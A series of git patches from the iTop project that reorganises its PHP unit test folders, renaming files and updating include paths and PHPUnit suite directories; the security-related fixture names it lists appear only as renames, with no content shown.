--- a/test/GroupByAndFunctions.php
+++ b/test/php-unit-tests/legacy-tests/GroupByAndFunctions.php
@@ -17,7 +17,7 @@
  * You should have received a copy of the GNU Affero General Public License
  */
 
-require_once ('../approot.inc.php');
+require_once ('../../../approot.inc.php');
 require_once(APPROOT.'application/application.inc.php');
 require_once(APPROOT.'application/itopwebpage.class.inc.php');
 require_once(APPROOT.'application/startup.inc.php');
diff --git a/test/VerifyOQL.php b/test/php-unit-tests/legacy-tests/VerifyOQL.php
similarity index 99%
rename from test/VerifyOQL.php
rename to test/php-unit-tests/legacy-tests/VerifyOQL.php
index e9da8e82c..3d07eba31 100644
--- a/test/VerifyOQL.php
+++ b/test/php-unit-tests/legacy-tests/VerifyOQL.php
@@ -23,7 +23,7 @@
  * You should have received a copy of the GNU Affero General Public License
  */
 
-require_once('../approot.inc.php');
+require_once('../../../approot.inc.php');
 require_once(APPROOT.'/application/application.inc.php');
 require_once(APPROOT.'/application/itopwebpage.class.inc.php');
 require_once(APPROOT.'/application/startup.inc.php');
diff --git a/test/benchmark.php b/test/php-unit-tests/legacy-tests/benchmark.php
similarity index 99%
rename from test/benchmark.php
rename to test/php-unit-tests/legacy-tests/benchmark.php
index 1f5d9428e..26f5dbb70 100644
--- a/test/benchmark.php
+++ b/test/php-unit-tests/legacy-tests/benchmark.php
@@ -17,7 +17,7 @@
  * You should have received a copy of the GNU Affero General Public License
  */
 
-require_once('../approot.inc.php');
+require_once('../../../approot.inc.php');
 require_once(APPROOT.'/application/application.inc.php');
 require_once(APPROOT.'/application/itopwebpage.class.inc.php');
 require_once(APPROOT.'/application/wizardhelper.class.inc.php');
diff --git a/test/build_test_oql.php b/test/php-unit-tests/legacy-tests/build_test_oql.php
similarity index 98%
rename from test/build_test_oql.php
rename to test/php-unit-tests/legacy-tests/build_test_oql.php
index 417e2b9a5..109598ab1 100644
--- a/test/build_test_oql.php
+++ b/test/php-unit-tests/legacy-tests/build_test_oql.php
@@ -22,7 +22,7 @@
  */
 
 
-require_once('../approot.inc.php');
+require_once('../../../approot.inc.php');
 require_once(APPROOT.'application/startup.inc.php');
 
 \LoginWebPage::DoLogin(true);
diff --git a/test/config-test-farm.php b/test/php-unit-tests/legacy-tests/config-test-farm.php
similarity index 100%
rename from test/config-test-farm.php
rename to test/php-unit-tests/legacy-tests/config-test-farm.php
diff --git a/test/display_cache_content.php b/test/php-unit-tests/legacy-tests/display_cache_content.php
similarity index 98%
rename from test/display_cache_content.php
rename to test/php-unit-tests/legacy-tests/display_cache_content.php
index 6a22a85c6..2eaac1aaa 100644
--- a/test/display_cache_content.php
+++ b/test/php-unit-tests/legacy-tests/display_cache_content.php
@@ -21,7 +21,7 @@
  * Date: 06/10/2017
  */
 
-require_once('../approot.inc.php');
+require_once('../../../approot.inc.php');
 require_once(APPROOT.'application/startup.inc.php');
 
 
diff --git a/test/replay_query_log.php b/test/php-unit-tests/legacy-tests/replay_query_log.php
similarity index 99%
rename from test/replay_query_log.php
rename to test/php-unit-tests/legacy-tests/replay_query_log.php
index fed149b0c..0a25dac65 100644
--- a/test/replay_query_log.php
+++ b/test/php-unit-tests/legacy-tests/replay_query_log.php
@@ -203,7 +203,7 @@ class QueryLogEntry
 //
 /////////////////////////////////////////////////////////////////////////////
 
-require_once('../approot.inc.php');
+require_once('../../../approot.inc.php');
 require_once(APPROOT.'/application/application.inc.php');
 require_once(APPROOT.'/application/ajaxwebpage.class.inc.php');
 
diff --git a/test/test.class.inc.php b/test/php-unit-tests/legacy-tests/test.class.inc.php
similarity index 100%
rename from test/test.class.inc.php
rename to test/php-unit-tests/legacy-tests/test.class.inc.php
diff --git a/test/test.php b/test/php-unit-tests/legacy-tests/test.php
similarity index 98%
rename from test/test.php
rename to test/php-unit-tests/legacy-tests/test.php
index 1db1c24e4..26a9aae1b 100644
--- a/test/test.php
+++ b/test/php-unit-tests/legacy-tests/test.php
@@ -85,7 +85,7 @@ function DisplayEvents($aEvents, $sTitle)
 
 date_default_timezone_set('Europe/Paris');
 
-require_once('../approot.inc.php');
+require_once('../../../approot.inc.php');
 require_once(APPROOT.'/application/utils.inc.php');
 require_once('./test.class.inc.php');
 require_once('./testlist.inc.php');
diff --git a/test/testlist.inc.php b/test/php-unit-tests/legacy-tests/testlist.inc.php
similarity index 100%
rename from test/testlist.inc.php
rename to test/php-unit-tests/legacy-tests/testlist.inc.php

From e8bf9cf6881d6d45dcce2668aceab2bfdfe0460a Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 21:08:59 +0200
Subject: [PATCH 092/230] =?UTF-8?q?N=C2=B05608=20-=20Move=20"twig"=20PHP?=
 =?UTF-8?q?=20unit=20test=20to=20new=20folder?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Notice: Test was not working, still not working
---
 .../tests/sources/application/TwigBase/Twig}/TwigTest.php         | 0
 .../tests/sources/application/TwigBase/Twig}/attacker/backdoor    | 0
 .../tests/sources/application/TwigBase/Twig}/test.html            | 0
 .../tests/sources/application/TwigBase/Twig}/test.html.twig       | 0
 4 files changed, 0 insertions(+), 0 deletions(-)
 rename test/{twig => php-unit-tests/tests/sources/application/TwigBase/Twig}/TwigTest.php (100%)
 rename test/{twig => php-unit-tests/tests/sources/application/TwigBase/Twig}/attacker/backdoor (100%)
 rename test/{twig => php-unit-tests/tests/sources/application/TwigBase/Twig}/test.html (100%)
 rename test/{twig => php-unit-tests/tests/sources/application/TwigBase/Twig}/test.html.twig (100%)

diff --git a/test/twig/TwigTest.php b/test/php-unit-tests/tests/sources/application/TwigBase/Twig/TwigTest.php
similarity index 100%
rename from test/twig/TwigTest.php
rename to test/php-unit-tests/tests/sources/application/TwigBase/Twig/TwigTest.php
diff --git a/test/twig/attacker/backdoor b/test/php-unit-tests/tests/sources/application/TwigBase/Twig/attacker/backdoor
similarity index 100%
rename from test/twig/attacker/backdoor
rename to test/php-unit-tests/tests/sources/application/TwigBase/Twig/attacker/backdoor
diff --git a/test/twig/test.html b/test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html
similarity index 100%
rename from test/twig/test.html
rename to test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html
diff --git a/test/twig/test.html.twig b/test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html.twig
similarity index 100%
rename from test/twig/test.html.twig
rename to test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html.twig

From 471f66649a90a45ad6920562fce950f1e4ee5a0f Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 21:44:29 +0200
Subject: [PATCH 093/230] =?UTF-8?q?N=C2=B05608=20-=20Rename=20unitary=20te?=
 =?UTF-8?q?st=20folders=20for=20better=20understanding?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../DictionariesConsistencyTest.php            |  0
 .../iTopModulesPhpVersionChecklistTest.php     |  0
 .../iTopModulesXmlVersionChecklistTest.php     |  0
 test/php-unit-tests/phpunit.xml.dist           | 18 +++++++++---------
 .../SetupCssIntegrityChecklistTest.php         |  0
 .../iTopDesignFormatChecklistTest.php          |  0
 .../iTopModuleXmlInstallationChecklistTest.php |  0
 .../postbuild_integration.xml.dist             |  2 +-
 .../application/DashboardLayoutTest.php        |  0
 .../application/UtilsTest.php                  |  0
 .../application/composer/iTopComposerTest.php  |  0
 .../application/privUITransactionFileTest.php  |  0
 .../search/CriterionConversionTest.php         |  0
 .../application/search/CriterionParserTest.php |  0
 .../application/search/SearchFormTest.php      |  0
 .../core/BulkChangeTest.inc.php                |  0
 .../core/CMDBObjectTest.php                    |  0
 .../core/CMDBSource/CMDBSourceTest.php         |  0
 .../core/CMDBSource/DeadLockInjection.php      |  0
 .../core/CMDBSource/TransactionsTest.php       |  0
 .../core/ConfigPlaceholdersResolverTest.php    |  0
 .../core/ConfigTest.php                        |  0
 .../core/ConfigTest/config-itop-joker.php      |  0
 .../core/ConfigTest/config-itop-var.php        |  0
 .../config-itop_KO_config_plus_code.php        |  0
 .../config-itop_KO_function.php                |  0
 .../core/ConfigValidator/config-itop_VALID.php |  0
 .../config-itop_VALID_log-level-min_const.php  |  0
 .../iTopConfigAstValidatorTest.php             |  0
 .../core/DBObjectTest.php                      |  0
 .../core/DBSearchCommitTest.php                |  0
 .../core/DBSearchIntersectTest.php             |  0
 .../core/DBSearchJoinTest.php                  |  0
 .../core/DBSearchTest.php                      |  0
 .../core/DBSearchUpdateRealiasingMapTest.php   |  0
 .../core/ExpressionTest.php                    |  0
 .../core/LogAPITest.php                        |  0
 .../core/LogFileNameBuilderTest.php            |  0
 .../core/MetaModelTest.php                     |  0
 .../core/OQLParserTest.php                     |  0
 .../{tests => unitary-tests}/core/OQLTest.php  |  0
 .../core/TagSetFieldDataTest.php               |  0
 .../core/TriggerTest.php                       |  0
 .../core/UniquenessConstraintTest.php          |  0
 .../core/UserRightsTest.php                    |  0
 .../core/WeeklyScheduledProcessMockConfig.php  |  0
 .../core/WeeklyScheduledProcessTest.php        |  0
 .../core/apcEmulationTest.php                  |  0
 .../core/dictApcuTest.php                      |  0
 .../{tests => unitary-tests}/core/dictTest.php |  0
 .../core/iTopConfigParserTest.php              |  0
 .../core/mockApcEmulation.incphp               |  0
 .../core/mockDict.incphp                       |  0
 .../core/ormLinkSetTest.php                    |  0
 .../core/ormTagSetTest.php                     |  0
 .../sanitizer/AbstractDOMSanitizerTest.php     |  0
 .../core/sanitizer/HTMLDOMSanitizerTest.php    |  0
 .../core/sanitizer/InlineImageMock.php         |  0
 .../core/sanitizer/README.txt                  |  0
 .../core/sanitizer/SvgDOMSanitizerTest.php     |  0
 .../core/sanitizer/input/scripts.html          |  0
 .../core/sanitizer/input/scripts.svg           |  0
 .../utf-8_wrong_character_email_truncated.txt  |  0
 .../core/sanitizer/input/whitelist_test.html   |  0
 .../core/sanitizer/output/scripts.html         |  0
 .../core/sanitizer/output/scripts.svg          |  0
 .../utf-8_wrong_character_email_truncated.txt  |  0
 .../2.x/authent-local/UserLocalTest.php        |  0
 .../UserLocalPasswordPolicyMock.php            |  0
 .../Validator/iTopConfigAstValidatorTest.php   |  0
 .../iTopConfigSyntaxValidatorTest.php          |  0
 .../2.x/itop-tickets/itopTicketTest.php        |  0
 .../setup/DBBackupTest.php                     |  0
 .../setup/SetupUtilsTest.php                   |  0
 .../iTopDesignFormat/1.7_to_1.6.expected.xml   |  0
 .../iTopDesignFormat/1.7_to_1.6.input.xml      |  0
 .../iTopDesignFormat/iTopDesignFormatTest.php  |  0
 .../application/TwigBase/Twig/TwigTest.php     |  0
 .../TwigBase/Twig/attacker/backdoor            |  0
 .../application/TwigBase/Twig/test.html        |  0
 .../application/TwigBase/Twig/test.html.twig   |  0
 .../status/StatusIncTest.php                   |  0
 .../status/StatusTest.php                      |  0
 .../{tests => unitary-tests}/status/status.php |  0
 .../webservices/RestTest.php                   |  0
 85 files changed, 10 insertions(+), 10 deletions(-)
 rename test/php-unit-tests/{integration => integration-tests}/DictionariesConsistencyTest.php (100%)
 rename test/php-unit-tests/{integration => integration-tests}/iTopModulesPhpVersionChecklistTest.php (100%)
 rename test/php-unit-tests/{integration => integration-tests}/iTopModulesXmlVersionChecklistTest.php (100%)
 rename test/php-unit-tests/{postbuild_integration => post-build-integration-tests}/SetupCssIntegrityChecklistTest.php (100%)
 rename test/php-unit-tests/{postbuild_integration => post-build-integration-tests}/iTopDesignFormatChecklistTest.php (100%)
 rename test/php-unit-tests/{postbuild_integration => post-build-integration-tests}/iTopModuleXmlInstallationChecklistTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/application/DashboardLayoutTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/application/UtilsTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/application/composer/iTopComposerTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/application/privUITransactionFileTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/application/search/CriterionConversionTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/application/search/CriterionParserTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/application/search/SearchFormTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/BulkChangeTest.inc.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/CMDBObjectTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/CMDBSource/CMDBSourceTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/CMDBSource/DeadLockInjection.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/CMDBSource/TransactionsTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigPlaceholdersResolverTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigTest/config-itop-joker.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigTest/config-itop-var.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigValidator/config-itop_KO_config_plus_code.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigValidator/config-itop_KO_function.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigValidator/config-itop_VALID.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigValidator/config-itop_VALID_log-level-min_const.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ConfigValidator/iTopConfigAstValidatorTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/DBObjectTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/DBSearchCommitTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/DBSearchIntersectTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/DBSearchJoinTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/DBSearchTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/DBSearchUpdateRealiasingMapTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ExpressionTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/LogAPITest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/LogFileNameBuilderTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/MetaModelTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/OQLParserTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/OQLTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/TagSetFieldDataTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/TriggerTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/UniquenessConstraintTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/UserRightsTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/WeeklyScheduledProcessMockConfig.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/WeeklyScheduledProcessTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/apcEmulationTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/dictApcuTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/dictTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/iTopConfigParserTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/mockApcEmulation.incphp (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/mockDict.incphp (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ormLinkSetTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/ormTagSetTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/AbstractDOMSanitizerTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/HTMLDOMSanitizerTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/InlineImageMock.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/README.txt (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/SvgDOMSanitizerTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/input/scripts.html (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/input/scripts.svg (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/input/whitelist_test.html (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/output/scripts.html (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/output/scripts.svg (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/datamodels/2.x/authent-local/UserLocalTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/datamodels/2.x/itop-tickets/itopTicketTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/setup/DBBackupTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/setup/SetupUtilsTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/setup/iTopDesignFormat/1.7_to_1.6.expected.xml (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/setup/iTopDesignFormat/1.7_to_1.6.input.xml (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/setup/iTopDesignFormat/iTopDesignFormatTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/sources/application/TwigBase/Twig/TwigTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/sources/application/TwigBase/Twig/attacker/backdoor (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/sources/application/TwigBase/Twig/test.html (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/sources/application/TwigBase/Twig/test.html.twig (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/status/StatusIncTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/status/StatusTest.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/status/status.php (100%)
 rename test/php-unit-tests/{tests => unitary-tests}/webservices/RestTest.php (100%)

diff --git a/test/php-unit-tests/integration/DictionariesConsistencyTest.php b/test/php-unit-tests/integration-tests/DictionariesConsistencyTest.php
similarity index 100%
rename from test/php-unit-tests/integration/DictionariesConsistencyTest.php
rename to test/php-unit-tests/integration-tests/DictionariesConsistencyTest.php
diff --git a/test/php-unit-tests/integration/iTopModulesPhpVersionChecklistTest.php b/test/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php
similarity index 100%
rename from test/php-unit-tests/integration/iTopModulesPhpVersionChecklistTest.php
rename to test/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php
diff --git a/test/php-unit-tests/integration/iTopModulesXmlVersionChecklistTest.php b/test/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php
similarity index 100%
rename from test/php-unit-tests/integration/iTopModulesXmlVersionChecklistTest.php
rename to test/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php
diff --git a/test/php-unit-tests/phpunit.xml.dist b/test/php-unit-tests/phpunit.xml.dist
index 6bc9513a3..ea11c8160 100644
--- a/test/php-unit-tests/phpunit.xml.dist
+++ b/test/php-unit-tests/phpunit.xml.dist
@@ -29,32 +29,32 @@
 
   
     
-      tests/application
+      unitary-tests/application
     
     
-      tests/core
+      unitary-tests/core
     
     
     
-      tests/datamodels/2.x/authent-local
+      unitary-tests/datamodels/2.x/authent-local
     
     
-      integration
+      integration-tests
     
     
-      tests/datamodels/2.x/itop-config
+      unitary-tests/datamodels/2.x/itop-config
     
     
-      tests/datamodels/2.x/itop-tickets
+      unitary-tests/datamodels/2.x/itop-tickets
     
     
-      tests/setup
+      unitary-tests/setup
     
     
-      tests/status
+      unitary-tests/status
     
     
-      tests/webservices
+      unitary-tests/webservices
     
 
     
diff --git a/test/php-unit-tests/postbuild_integration/SetupCssIntegrityChecklistTest.php b/test/php-unit-tests/post-build-integration-tests/SetupCssIntegrityChecklistTest.php
similarity index 100%
rename from test/php-unit-tests/postbuild_integration/SetupCssIntegrityChecklistTest.php
rename to test/php-unit-tests/post-build-integration-tests/SetupCssIntegrityChecklistTest.php
diff --git a/test/php-unit-tests/postbuild_integration/iTopDesignFormatChecklistTest.php b/test/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php
similarity index 100%
rename from test/php-unit-tests/postbuild_integration/iTopDesignFormatChecklistTest.php
rename to test/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php
diff --git a/test/php-unit-tests/postbuild_integration/iTopModuleXmlInstallationChecklistTest.php b/test/php-unit-tests/post-build-integration-tests/iTopModuleXmlInstallationChecklistTest.php
similarity index 100%
rename from test/php-unit-tests/postbuild_integration/iTopModuleXmlInstallationChecklistTest.php
rename to test/php-unit-tests/post-build-integration-tests/iTopModuleXmlInstallationChecklistTest.php
diff --git a/test/php-unit-tests/postbuild_integration.xml.dist b/test/php-unit-tests/postbuild_integration.xml.dist
index 2032e204e..b45e634bb 100644
--- a/test/php-unit-tests/postbuild_integration.xml.dist
+++ b/test/php-unit-tests/postbuild_integration.xml.dist
@@ -27,7 +27,7 @@
 
     
         
-            postbuild_integration
+            post-build-integration-tests
         
     
 
diff --git a/test/php-unit-tests/tests/application/DashboardLayoutTest.php b/test/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php
similarity index 100%
rename from test/php-unit-tests/tests/application/DashboardLayoutTest.php
rename to test/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php
diff --git a/test/php-unit-tests/tests/application/UtilsTest.php b/test/php-unit-tests/unitary-tests/application/UtilsTest.php
similarity index 100%
rename from test/php-unit-tests/tests/application/UtilsTest.php
rename to test/php-unit-tests/unitary-tests/application/UtilsTest.php
diff --git a/test/php-unit-tests/tests/application/composer/iTopComposerTest.php b/test/php-unit-tests/unitary-tests/application/composer/iTopComposerTest.php
similarity index 100%
rename from test/php-unit-tests/tests/application/composer/iTopComposerTest.php
rename to test/php-unit-tests/unitary-tests/application/composer/iTopComposerTest.php
diff --git a/test/php-unit-tests/tests/application/privUITransactionFileTest.php b/test/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php
similarity index 100%
rename from test/php-unit-tests/tests/application/privUITransactionFileTest.php
rename to test/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php
diff --git a/test/php-unit-tests/tests/application/search/CriterionConversionTest.php b/test/php-unit-tests/unitary-tests/application/search/CriterionConversionTest.php
similarity index 100%
rename from test/php-unit-tests/tests/application/search/CriterionConversionTest.php
rename to test/php-unit-tests/unitary-tests/application/search/CriterionConversionTest.php
diff --git a/test/php-unit-tests/tests/application/search/CriterionParserTest.php b/test/php-unit-tests/unitary-tests/application/search/CriterionParserTest.php
similarity index 100%
rename from test/php-unit-tests/tests/application/search/CriterionParserTest.php
rename to test/php-unit-tests/unitary-tests/application/search/CriterionParserTest.php
diff --git a/test/php-unit-tests/tests/application/search/SearchFormTest.php b/test/php-unit-tests/unitary-tests/application/search/SearchFormTest.php
similarity index 100%
rename from test/php-unit-tests/tests/application/search/SearchFormTest.php
rename to test/php-unit-tests/unitary-tests/application/search/SearchFormTest.php
diff --git a/test/php-unit-tests/tests/core/BulkChangeTest.inc.php b/test/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php
similarity index 100%
rename from test/php-unit-tests/tests/core/BulkChangeTest.inc.php
rename to test/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php
diff --git a/test/php-unit-tests/tests/core/CMDBObjectTest.php b/test/php-unit-tests/unitary-tests/core/CMDBObjectTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/CMDBObjectTest.php
rename to test/php-unit-tests/unitary-tests/core/CMDBObjectTest.php
diff --git a/test/php-unit-tests/tests/core/CMDBSource/CMDBSourceTest.php b/test/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/CMDBSource/CMDBSourceTest.php
rename to test/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php
diff --git a/test/php-unit-tests/tests/core/CMDBSource/DeadLockInjection.php b/test/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php
similarity index 100%
rename from test/php-unit-tests/tests/core/CMDBSource/DeadLockInjection.php
rename to test/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php
diff --git a/test/php-unit-tests/tests/core/CMDBSource/TransactionsTest.php b/test/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/CMDBSource/TransactionsTest.php
rename to test/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php
diff --git a/test/php-unit-tests/tests/core/ConfigPlaceholdersResolverTest.php b/test/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigPlaceholdersResolverTest.php
rename to test/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php
diff --git a/test/php-unit-tests/tests/core/ConfigTest.php b/test/php-unit-tests/unitary-tests/core/ConfigTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigTest.php
rename to test/php-unit-tests/unitary-tests/core/ConfigTest.php
diff --git a/test/php-unit-tests/tests/core/ConfigTest/config-itop-joker.php b/test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigTest/config-itop-joker.php
rename to test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php
diff --git a/test/php-unit-tests/tests/core/ConfigTest/config-itop-var.php b/test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigTest/config-itop-var.php
rename to test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php
diff --git a/test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_config_plus_code.php b/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_config_plus_code.php
rename to test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php
diff --git a/test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_function.php b/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_function.php
rename to test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php
diff --git a/test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID.php b/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID.php
rename to test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php
diff --git a/test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php b/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php
rename to test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php
diff --git a/test/php-unit-tests/tests/core/ConfigValidator/iTopConfigAstValidatorTest.php b/test/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ConfigValidator/iTopConfigAstValidatorTest.php
rename to test/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php
diff --git a/test/php-unit-tests/tests/core/DBObjectTest.php b/test/php-unit-tests/unitary-tests/core/DBObjectTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/DBObjectTest.php
rename to test/php-unit-tests/unitary-tests/core/DBObjectTest.php
diff --git a/test/php-unit-tests/tests/core/DBSearchCommitTest.php b/test/php-unit-tests/unitary-tests/core/DBSearchCommitTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/DBSearchCommitTest.php
rename to test/php-unit-tests/unitary-tests/core/DBSearchCommitTest.php
diff --git a/test/php-unit-tests/tests/core/DBSearchIntersectTest.php b/test/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/DBSearchIntersectTest.php
rename to test/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php
diff --git a/test/php-unit-tests/tests/core/DBSearchJoinTest.php b/test/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/DBSearchJoinTest.php
rename to test/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php
diff --git a/test/php-unit-tests/tests/core/DBSearchTest.php b/test/php-unit-tests/unitary-tests/core/DBSearchTest.php
similarity index 100%
